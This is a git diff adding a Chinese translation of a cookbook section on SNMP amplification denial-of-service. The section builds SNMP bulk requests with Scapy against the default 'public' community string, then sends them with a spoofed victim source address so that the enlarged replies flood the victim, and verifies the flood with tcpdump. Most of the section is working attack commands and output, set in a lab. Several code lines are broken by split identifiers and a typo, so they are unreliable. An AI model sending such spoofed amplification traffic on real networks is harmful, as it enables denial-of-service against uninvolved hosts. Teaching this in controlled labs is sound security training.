diff --git a/ch6.md b/ch6.md index 1c6e7326c9826c34fbb852b62bccb0e4ebb76dea..529dcabe07f55aef3b7c2b29c03fb7716062de7b 100644 --- a/ch6.md +++ b/ch6.md @@ -673,3 +673,277 @@ Sent 2 packets. + 来自所使用的网络功能的响应应该显着大于用于请求它的请求。 DNS 放大攻击的效率取决于 DNS 查询的响应大小。 另外,可以通过使用多个 DNS 服务器来增加攻击的威力。 + +## SNMP 放大 DoS 攻击 + +SNMP 扩展攻击通过伪造具有大型响应的查询,来利用团体字符串可预测的 SNMP 设备。 通过使用分布式 DDoS 组件,以及通过同时向多个 SNMP 设备发送请求,可以提高这种攻击的效率。 + +### 准备 + +为了模拟 SNMP 放大攻击,你需要有一个启用 SNMP 的设备。 所提供的示例使用 Windows XP 设备。 有关设置 Windows 系统的更多信息,请参阅本书第一章中的“安装 Windows Server”秘籍。 此外,此秘籍将 Ubuntu 用作扫描目标。 有关设置 Ubuntu 的更多信息,请参阅本书第一章中的“安装 Ubuntu Server”秘籍。 + +### 操作步骤 + +为了开始,我们应该初始化一个 SNMP 查询,使其返回到我们的系统,来评估要使用的载荷大小。 为了发送我们的 SNMP 查询请求,我们必须首先构建此请求的层级。 我们需要构建的第一层是 IP 层: + +``` +>>> i = IP() +>>> i.display() +###[ IP ]### + version= 4 + ihl= None + tos= 0x0 + len= None + id= 1 + flags= + frag= 0 + ttl= 64 + proto= ip + chksum= None + src= 127.0.0.1 + dst= 127.0.0.1 + \options\ +>>> i.dst = "172.16.36.134" +>>> i.display() +###[ IP ]### + version= 4 + ihl= None + tos= 0x0 + len= None + id= 1 + flags= + frag= 0 + ttl= 64 + proto= ip + chksum= None + src= 172.16.36.224 + dst= 172.16.36.134 + \options\ +``` + +要构建我们的请求的 IP 层,我们应该将 `IP` 对象赋给变量`i`。 通过调用`display()`函数,我们可以确定该对象的属性配置。 通常,发送和接收地址都设为回送地址`127.0.0.1`。 可以通过将`i.dst`设置为广播地址的字符串值,来更改目标地址并修改这些值。 通过再次调用`display()`函数,我们可以看到,不仅更新了目的地址,而且`Scapy`也会自动将源 IP 地址更新为与默认接口相关的地址。 现在我们已经构建了请求的 IP 层,我们应该继续构建 UDP 层: + +``` +>>> u = UDP() +>>> u.display() +###[ UDP ]### +sport= domain +dport= domain +len= None +chksum= None +``` + +要构建我们的请求的 UDP 层,我们将使用与IP层相同的技术。 在提供的示例中,`UDP` 对象赋给了`u`变量。 如前所述,可以通过调用`display()`函数来确定默认配置。 在这里,我们可以看到源和目标端口的默认值都列为`domain`。 您可能能猜到,这表示与端口 53 相关的 DNS服 务。你可能已经猜到,它需要修改为 SNMP 相关的端口: + +``` +>>> u.dport = 161 +>>> u.sport = 161 +>>> u.display() +###[ UDP ]### + sport= snmp + dport= snmp + len= None + chksum= None +``` + +要将源端口和目标端口更改为 SNMP,应将整数值 161 传递给它; 此值对应于与服务关联的 UDP 端口。 这些更改可以通过再次调用`display()`函数来验证。 现在已经构建了 IP 和 UDP 层,我们需要构建 SNMP 层: + +``` +>>> snmp = SNMP() +>>> snmp.display() +###[ SNMP ]### + version= v2c + community= 'public' + \PDU\ + |###[ SNMPget ]### + | id= 0 + | error= no_error + | error_index= 0 + | + \varbindlist\ +``` + +为了构建我们的请求的 SNMP 层,我们将使用与 IP 和 UDP 层相同的技术。 在提供的示例中,`SNMP` 对象已赋给`snmp`变量。 如前所述,可以通过调用`display()`函数来标识默认配置。 现在已经构建了 IP,UDP 和 SNMP 层,我们需要构建一个批量请求来替换默认赋给 `PDU` 值的`SNMPget`请求: + +``` +>>> bulk = SNMPbulk() +>>> bulk.display() +###[ SNMPbulk ]### + id= 0 + non_repeaters= 0 + max_repetitions= 0 + \varbindlist\ +``` + +为了构建 SNMP 批量请求,我们将使用与 IP,UDP 和 SNMP 层相同的技术。 在提供的示例中,SNMP 批量请求已赋给了`bulk `变量。 如前所述,可以通过调用`display()`函数来确认默认配置。 在这里,我们可以看到有几个值需要修改: + +``` +>>> bulk.max_repetitions = 50 +>>> bulk.varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1')),SNMPvarb ind(oid=ASN1_OID('1.3.6.1.2.1.19.1.3'))] +>>> bulk.display() +###[ SNMPbulk ]### + id= 0 + non_repeaters= 0 + max_repetitions= 50 + \varbindlist\ + |###[ SNMPvarbind ]### + | oid= + | value= + |###[ SNMPvarbind ]### + | oid= + | value= + +``` + +SNMP `varbindlist`需要修改来包含查询的 OID 值。 此外,`max_repetitions`赋了整数值为 50。现在批量请求已配置完毕,批量请求对象应赋给`SNMP PDU`值: + +``` +>>> snmp.PDU = bulk +>>> snmp.display() +###[ SNMP ]### +version= v2c +community= 'public' + \PDU\ + |###[ SNMPbulk ]### + | id= 0 + | non_repeaters= 0 + | max_repetitions= 50 + | \varbindlist\ + | + |###[ SNMPvarbind ]### + | + | oid= + | + | value= + | + |###[ SNMPvarbind ]### + | + | oid= + | + | value= +``` + +我们可以通过调用`display()`函数来验证批量请求是否已赋给`SNMP PDU`值。 现在已经构建了 IP,UDP 和 SNMP 层,并且批量请求已经配置并赋给 SNMP 层,我们可以通过堆叠这些层来构造请求: + +``` +>>> request = (i/u/snmp) +>>> request.display() +###[ IP ]### + version= 4 + ihl= None + tos= 0x0 + len= None + id= 1 + flags= + frag= 0 + ttl= 64 + proto= udp + chksum= None + src= 172.16.36.224 + dst= 172.16.36.134 + \options\ +###[ UDP ]### + sport= snmp + dport= snmp + len= None + chksum= None +###[ SNMP ]### + version= v2c + community= 'public' + \PDU\ + |###[ SNMPbulk ]### + | id= 0 + | non_repeaters= 0 + | max_repetitions= 50 + | \varbindlist\ + | + |###[ SNMPvarbind ]### + | + | oid= + | + | value= + | + |###[ SNMPvarbind ]### + | + | oid= + | + | value= +``` + +可以通过使用斜杠分隔变量来堆叠 IP,UDP 和 SNMP 层。 然后可以将这些层赋给表示整个请求的新变量。 然后可以调用`display()`函数来查看请求的配置。 一旦建立了请求,就可以将其传递给发送和接收函数,以便我们可以分析响应: + +``` +>>> ans = sr1(request,verbose=1,timeout=5) +Begin emission: +Finished to send 1 packets. + +Received 1 packets, got 1 answers, remaining 0 packets +>>> ans.display() + +###[ IP ]### + version= 4L + ihl= 5L + tos= 0x0 + len= 1500 + id= 27527 + flags= MF + frag= 0L + ttl= 128 + proto= udp + chksum= 0x803 + src= 172.16.36.134 + dst= 172.16.36.224 + \options\ +###[ UDP ]### + sport= snmp + dport= snmp + len= 2161 + chksum= 0xdcbf +###[ Raw ]### + load= '0\x82\x08e\x02\x01\x01\x04\x06public\xa2\x82\x08V\x02\ x01\x00\x02\x01\x00\x02\x01\x000\x82\x08I0\x81\x8b\x06\x08+\x06\x01\x02\ x01\x01\x01\x00\x04\x7fHardware: x86 Family 6 Model 58 Stepping 9 AT/AT COMPATIBLE - Software: Windows 2000 Version 5.1 (Build 2600 Uniprocessor Free)0\x10\x06\t+\x06\x01\x02\x01\x19\x01\x01\x00C\x03p\xff?0\x18\x06\ x08+\x06\x01\x02\x01\x01\x02\x00\x06\x0c+\x06\x01\x04\x01\x827\x01\x01\ x03\x01\x010\x15\x06\t+\x06\x01\x02\x01\x19\x01\x02\x00\x04\x08\x07\xde\ x02\x19\x08\r\x1d\x030\x0f\x06\x08+\x06\x01\x02\x01\x01\x03\x00C\x03o\ x8e\x8a0\x0e\x06\t+\x06\x01\x02\x01\x19\x01\x03\x00\x02\x01\x000\x0c\ x06\x08+\x06\x01\x02\x01\x01\x04\x00\x04\x000\r\x06\t+\x06\x01\x02\x01\ x19\x01\x04\x00\x04\x000\x1b\x06\x08+\x06\x01\x02\x01\x01\x05\x00\x04\ x0fDEMO-72E8F41CA40\x0e\x06\t+\x06\x01\x02\x01\x19\x01\x05\x00B\x01\x020\ x0c\x06\x08+\x06\x01\x02\x01\x01\x06\x00\x04\x000\x0e\x06\t+\x06\x01\ x02\x01\x19\x01\x06\x00B\x01/0\r\x06\x08+\x06\x01\x02\x01\x01\x07\x00\ x02\x01L0\x0e\x06\t+\x06\x01\x02\x01\x19\x01\x07\x00\x02\x01\x000\r\x06\ x08+\x06\x01\x02\x01\x02\x01\x00\x02\x01\x020\x10\x06\t+\x06\x01\x02\x01\ x19\x02\x02\x00\x02\x03\x1f\xfd\xf00\x0f\x06\n+\x06\x01\x02\x01\x02\x02\ x01\x01\x01\x02\x01\x010\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\ x01\x01\x02\x01\x010\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x01\x02\x02\ x01\x020\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x01\x02\x02\x01\ x020(\x06\n+\x06\x01\x02\x01\x02\x02\x01\x02\x01\x04\x1aMS TCP Loopback interface\x000\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x01\x03\x02\x01\x030P\x06\n+\x06\x01\x02\x01\x02\x02\x01\x02\x02\x04BAMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport\x000\x10\x06\x0b+\x06\ x01\x02\x01\x19\x02\x03\x01\x01\x04\x02\x01\x040\x0f\x06\n+\x06\x01\x02\ x01\x02\x02\x01\x03\x01\x02\x01\x180\x10\x06\x0b+\x06\x01\x02\x01\x19\ x02\x03\x01\x01\x05\x02\x01\x050\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\ x03\x02\x02\x01\x060\x18\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x02\ x01\x06\t+\x06\x01\x02\x01\x19\x02\x01\x050\x10\x06\n+\x06\x01\x02\x01\ x02\x02\x01\x04\x01\x02\x02\x05\xf00\x18\x06\x0b+\x06\x01\x02\x01\x19\ x02\x03\x01\x02\x02\x06\t+\x06\x01\x02\x01\x19\x02\x01\x040\x10\x06\n+\ x06\x01\x02\x01\x02\x02\x01\x04\x02\x02\x02\x05\xdc0\x18\x06\x0b+\x06\ x01\x02\x01\x19\x02\x03\x01\x02\x03\x06\t+\x06\x01\x02\x01\x19\x02\x01\ x070\x12\x06\n+\x06\x01\x02\x01\x02\x02\x01\x05\x01B\x04\x00\x98\x96\ x800\x18\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x02\x04\x06\t+\x06\ x01\x02\x01\x19\x02\x01\x030\x12\x06\n+\x06\x01\x02\x01\x02\x02\x01\x05\ x02B\x04;\x9a\xca\x000\x18\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x02\ x05\x06\t+\x06\x01\x02\x01\x19\x02\x01\x020\x0e\x06\n+\x06\x01\x02\x01\ x02\x02\x01\x06\x01\x04\x000\x12\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\ x01\x03\x01\x04\x03A:\\0\x14\x06\n+\x06\x01\x02\x01\x02\x02\x01\x06\x02\ x04\x06\x00\x0c)\x18\x11\xfb01\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\ x03\x02\x04"C:\\ Label: Serial Number 5838200b0\x0f\x06\n+\x06\x01\x02\ x01\x02\x02\x01\x07\x01\x02\x01\x010\x12\x06\x0b+\x06\x01\x02\x01\x19\ x02\x03\x01\x03\x03\x04\x03D:\\0\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\ x07\x02\x02\x01\x010\x1d\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x03\ x04\x04\x0eVirtual Memory0\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x08\ x01\x02\x01\x010\x1e\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x03\x05\ x04\x0fPhysical Memory0\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x08\x02\ x02\x01\x010\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x04\x01\x02\ x01\x000\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\t\x01C\x01\x000\x11\x06\ x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x04\x02\x02\x02\x10\x000\x11\x06\ n+\x06\x01\x02\x01\x02\x02\x01\t\x02C\x03m\xbb00\x10\x06\x0b+\x06\x01\ x02\x01\x19\x02\x03\x01\x04\x03\x02\x01\x000\x12\x06\n+\x06\x01\x02\x01\ x02\x02\x01\n\x01A\x04\x05\xcb\xd6M0\x12\x06\x0b+\x06\x01\x02\x01\x19\ x02\x03\x01\x04\x04\x02\x03\x01\x00\x000\x11\x06\n+\x06\x01\x02\x01\x02\ x02\x01\n\x02A\x03\x06\xb1\xa80\x12\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\ x01\x04\x05\x02\x03\x01\x00\x000\x11\x06\n+\x06\x01\x02\x01\x02\x02\x01\ x0b\x01A\x03\rR\x920\x10\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x05\ x01\x02\x01\x000\x10\x06\n+\x06\x01\x02\x01\x02\x02\x01\x0b\x02A\x02\x0c\ xfe0\x13\x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x05\x02\x02\x04\x00\ x9f\xf6a0\x0f\x06\n+\x06\x01\x02\x01\x02\x02\x01\x0c\x01A\x01\x000\x10\ x06\x0b+\x06\x01\x02\x01\x19\x02\x03\x01\x05\x03\x02\x01\x000' +``` + + +响应确认了我们已经成功构建了所需请求,并且与最初生成的相对较小请求相比,已经请求了相当大的载荷。 与之相似,整个过程可以使用 Scapy 中的单个命令来执行。 此命令使用所有与上一个练习中讨论的相同的值: + +``` +>>> sr1(IP(dst="172.16.36.134")/UDP(sport=161,dport=161)/ SNMP(PDU=SNMPbulk(max_repetitions=50,varbindlist=[SNMPvarbind(oid=ASN1_OD('1.3.6.1.2.1.1')),SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.19.1.3'))])),ve rbose=1,timeout=5) + +Begin emission: Finished to send 1 packets. + +>> +``` + +为了实际将此命令用作攻击,源 IP 地址需要更改为目标系统的 IP 地址。 这样,我们应该能够将载荷重定向给那个受害者。 这可以通过将 IP `src`值更改为目标 IP 地址的字符串来完成: + +``` +>>> send(IP(dst="172.16.36.134",src="172.16.36.135")/ UDP(sport=161,dport=161)/SNMP(PDU=SNMPbulk(max_repetitions=50,varbindlist =[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1')),SNMPvarbind(oid=ASN1_OID('1. 3.6.1.2.1.19.1.3'))])),verbose=1,count=2) +. +Sent 2 packets. +``` + +`send()`函数应该用于发送这些伪造请求,因为响应返回预期不会给本地接口。 要确认载荷是否到达目标系统,可以使用 TCPdump 捕获传入流量: + +``` +admin@ubuntu:~$ sudo tcpdump -i eth0 -vv src 172.16.36.134 +tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes +13:32:14.210732 IP (tos 0x0, ttl 128, id 5944, offset 0, flags [+], proto UDP (17), length 1500) 172.16.36.134.snmp > 172.16.36.135.snmp: [len1468 172.16.36.135: udp +13:32:35.133384 IP (tos 0x0, ttl 128, id 8209, offset 0, flags [+], proto UDP (17), length 1500) 172.16.36.134.snmp > 172.16.36.135.snmp: [len1468 172.16.36.135: udp + +4 packets captured +4 packets received by filter +0 packets dropped by kernel +``` + +在所提供的示例中,TCPdump 配置为捕获`eth0`接口上,来自源IP地址`172.16.36.134`(SNMP 主机的IP地址)的流量。 + +### 工作原理 + +放大攻击的原理是利用第三方设备,使网络流量压倒目标。 对于多数放大攻击,必须满足两个条件: + ++ 用于执行攻击的协议不验证请求源 ++ 来自所使用的网络功能的响应应该显着大于用于请求它的请求。 + +SNMP 放大攻击的效率取决于 SNMP 查询的响应大小。 另外,可以通过使用多个 SNMP 服务器来增加攻击的威力。